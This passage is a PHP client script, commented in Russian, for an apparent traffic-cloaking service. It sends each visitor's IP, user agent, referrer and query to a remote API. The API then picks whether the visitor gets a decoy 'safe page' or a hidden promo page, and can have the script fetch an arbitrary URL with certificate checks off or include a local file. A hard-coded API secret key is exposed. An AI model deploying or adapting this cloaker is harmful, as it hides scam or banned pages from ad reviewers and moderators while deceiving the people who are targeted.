"; } else { header("X-Execution-Time: $diff"); } }); */ // Настройки кампании define('CAMPAIGN_ID', '22'); // ID вашей кампании define('API_URL', 'https://api.boberclo.com/api_dev.php'); // URL к API файлу define('API_SECRET_KEY', 'b8e3068979c8d0b5d6fcc63470bf166b1cee81c6e90456ed5c91bde0aa4dbeef'); // Секретный ключ для API define('SAFE_PAGE_URL', 'index_w2.html'); // URL безопасной страницы define('SAFE_PAGE_TYPE', 'show'); // Тип отображения безопасной страницы define('DEBUG_MODE', false); // Включить режим отладки (true/false) define('MAX_PROMO_VISITS', 0); // Максимальное количество переходов на промо-страницу (0 = неограниченно) // Отключаем вывод ошибок в продакшене if (!DEBUG_MODE) { error_reporting(0); ini_set('display_errors', 0); } else { error_reporting(E_ALL); ini_set('display_errors', 1); } if (!function_exists('getCookie')) { /** * Функция для получения значения куки */ function getCookie($name) { return isset($_COOKIE[$name]) ? (int)$_COOKIE[$name] : 0; } } if (!function_exists('setCookie')) { /** * Функция для установки куки */ function setCookie($name, $value, $days = 1) { $expires = time() + ($days * 24 * 60 * 60); setcookie($name, $value, $expires, '/', '', false, true); } } if (!function_exists('getClientIP')) { /** * Функция для получения IP-адреса посетителя */ function getClientIP(array $trustedProxies = ['127.0.0.1', '::1']): string { $headers = [ 'HTTP_CF_CONNECTING_IP', 'CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'HTTP_CLIENT_IP', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED', ]; $remoteAddr = $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1'; $isTrustedProxy = in_array($remoteAddr, $trustedProxies, true); static $ipCache = []; $cacheKey = md5(serialize($_SERVER)); if (isset($ipCache[$cacheKey])) { return $ipCache[$cacheKey]; } foreach ($headers as $header) { if (empty($_SERVER[$header])) { continue; } $rawHeader = trim($_SERVER[$header]); if ($rawHeader === '') { continue; } if ($header === 'HTTP_FORWARDED') { preg_match_all('/for=(?:"?\[?([\w\.:]+)\]?"?)/', $rawHeader, $matches); $ips = array_map(function ($ip) { $ip = trim($ip, ' "[]'); return explode(':', $ip)[0]; // Убираем порт }, $matches[1] ?? []); } else { $ips = array_map(function ($ip) { $ip = trim($ip, ' "[]'); return explode(':', $ip)[0]; // Убираем порт }, explode(',', $rawHeader)); } $ips = array_filter($ips, function ($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); }); if (!empty($ips)) { if ($isTrustedProxy) { foreach (array_reverse($ips) as $ip) { if (!in_array($ip, $trustedProxies, true)) { $ipCache[$cacheKey] = $ip; return $ip; } } } $firstIp = reset($ips); $ipCache[$cacheKey] = $firstIp; return $firstIp; } } $ipCache[$cacheKey] = $remoteAddr; return $remoteAddr; } } if (!function_exists('generateSignature')) { /** * Функция для генерации подписи запроса */ function generateSignature($data, $secret) { ksort($data); $signString = ''; foreach ($data as $key => $value) { if ($key !== 'signature') { $signString .= $key . '=' . $value; } } $signString .= $secret; return hash('sha256', $signString); } } if (!function_exists('sendApiRequest')) { /** * Функция для отправки запроса к API */ function sendApiRequest() { $data = [ 'campaign_id' => CAMPAIGN_ID, 'visitor_ip' => getClientIP(), 'HTTP_REFERER' => $_SERVER['HTTP_REFERER'] ?? '', 'HTTP_USER_AGENT' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR'] ?? '', 'HTTP_CF_CONNECTING_IP' => $_SERVER['HTTP_CF_CONNECTING_IP'] ?? '', 'CF_CONNECTING_IP' => $_SERVER['CF_CONNECTING_IP'] ?? '', 'HTTP_X_FORWARDED_FOR' => $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '', 'HTTP_TRUE_CLIENT_IP' => $_SERVER['HTTP_TRUE_CLIENT_IP'] ?? '', 'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '', 'REQUEST_URI' => $_SERVER['REQUEST_URI'] ?? '', 'timestamp' => time() ]; $data['signature'] = generateSignature($data, API_SECRET_KEY); $ch = curl_init(API_URL); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Content-Length: ' . strlen(json_encode($data)) ]); curl_setopt($ch, CURLOPT_TIMEOUT, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); $response = curl_exec($ch); $info = curl_getinfo($ch); $error = curl_error($ch); $errno = curl_errno($ch); curl_close($ch); if ($errno || $info['http_code'] != 200) { if (DEBUG_MODE) { error_log("cURL Error ($errno): $error"); } return false; } $result = json_decode($response, true); if (!$result || !isset($result['success']) || !$result['success']) { if (DEBUG_MODE && isset($result['error'])) { error_log("API Error: " . $result['error']); } return false; } return $result; } } if (!function_exists('redirectTo')) { /** * Функция для перенаправления на указанный URL */ function redirectTo($url, $include_query = false) { if ($include_query && !empty($_SERVER['QUERY_STRING'])) { $separator = strpos($url, '?') === false ? '?' : '&'; $url .= $separator . $_SERVER['QUERY_STRING']; } header("Location: $url", true, 302); exit; } } if (!function_exists('includeFile')) { /** * Функция для включения файла */ function includeFile($url) { if (strpos($url, '/') !== false) { $url = ltrim(strrchr($url, '/'), '/'); } if (strpos($url, '?') !== false) { $url = explode('?', $url)[0]; } if (file_exists($url)) { include $url; exit; } else { if (DEBUG_MODE) { die("Error: File not found - $url"); } return false; } } } if (!function_exists('showIframe')) { /** * Функция для отображения iframe */ function showIframe($url, $include_query = false) { if ($include_query && !empty($_SERVER['QUERY_STRING'])) { $separator = strpos($url, '?') === false ? '?' : '&'; $url .= $separator . $_SERVER['QUERY_STRING']; } $url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8'); echo ""; echo ''; exit; } } if (!function_exists('showContent')) { /** * Функция для отображения содержимого URL */ function showContent($url, $include_query = false) { if ($include_query && !empty($_SERVER['QUERY_STRING'])) { $separator = strpos($url, '?') === false ? '?' : '&'; $url .= $separator . $_SERVER['QUERY_STRING']; } $context = stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ], 'http' => [ 'header' => 'User-Agent: ' . ($_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0') ] ]); $content = @file_get_contents($url, false, $context); if ($content === false) { if (DEBUG_MODE) { die("Error: Could not fetch content from $url"); } return false; } #$content = str_replace('', '', $content); echo $content; exit; } } if (!function_exists('displaySafePage')) { /** * Функция для отображения безопасной страницы */ function displaySafePage() { if (!defined('SAFE_PAGE_URL') || SAFE_PAGE_URL === '') { if (DEBUG_MODE) { die("Error: Please set SAFE_PAGE_URL in the client file"); } exit; } if (!defined('SAFE_PAGE_TYPE') || SAFE_PAGE_TYPE === '') { if (DEBUG_MODE) { die("Error: Please set SAFE_PAGE_TYPE in the client file"); } exit; } switch (SAFE_PAGE_TYPE) { case 'redirect': redirectTo(SAFE_PAGE_URL, false); break; case 'show': showContent(SAFE_PAGE_URL, false); break; case 'iframe': showIframe(SAFE_PAGE_URL, false); break; case 'include': includeFile(SAFE_PAGE_URL); break; default: if (DEBUG_MODE) { die("Error: Invalid SAFE_PAGE_TYPE - " . SAFE_PAGE_TYPE); } exit; } } } // Основной код if (!defined('CAMPAIGN_ID') || CAMPAIGN_ID === '' || CAMPAIGN_ID === null) { if (DEBUG_MODE) { die("Error: Please set your CAMPAIGN_ID in the client file"); } return; } if (!defined('API_URL') || API_URL === '' || empty(API_URL)) { if (DEBUG_MODE) { die("Error: Please set the API_URL in the client file"); } return; } if (!defined('API_SECRET_KEY') || API_SECRET_KEY === '' || API_SECRET_KEY === null) { if (DEBUG_MODE) { die("Error: Please set the API_SECRET_KEY in the client file"); } return; } // Пропускаем проверку куки, если MAX_PROMO_VISITS = 0 if (MAX_PROMO_VISITS > 0) { $promo_visits = getCookie('promo_visits_' . CAMPAIGN_ID); if ($promo_visits >= MAX_PROMO_VISITS) { displaySafePage(); exit; } } $result = sendApiRequest(); if (!$result) { displaySafePage(); exit; } if (!isset($result['type']) || !in_array($result['type'], ['redirect', 'show', 'iframe', 'include'])) { displaySafePage(); exit; } // Увеличиваем счетчик посещений, только если это промо-страница и MAX_PROMO_VISITS > 0 if (MAX_PROMO_VISITS > 0 && $result['url'] !== SAFE_PAGE_URL) { setCookie('promo_visits_' . CAMPAIGN_ID, $promo_visits + 1); } switch ($result['type']) { case 'redirect': redirectTo($result['url']); break; case 'show': showContent($result['url']); break; case 'iframe': showIframe($result['url']); break; case 'include': includeFile($result['url']); break; }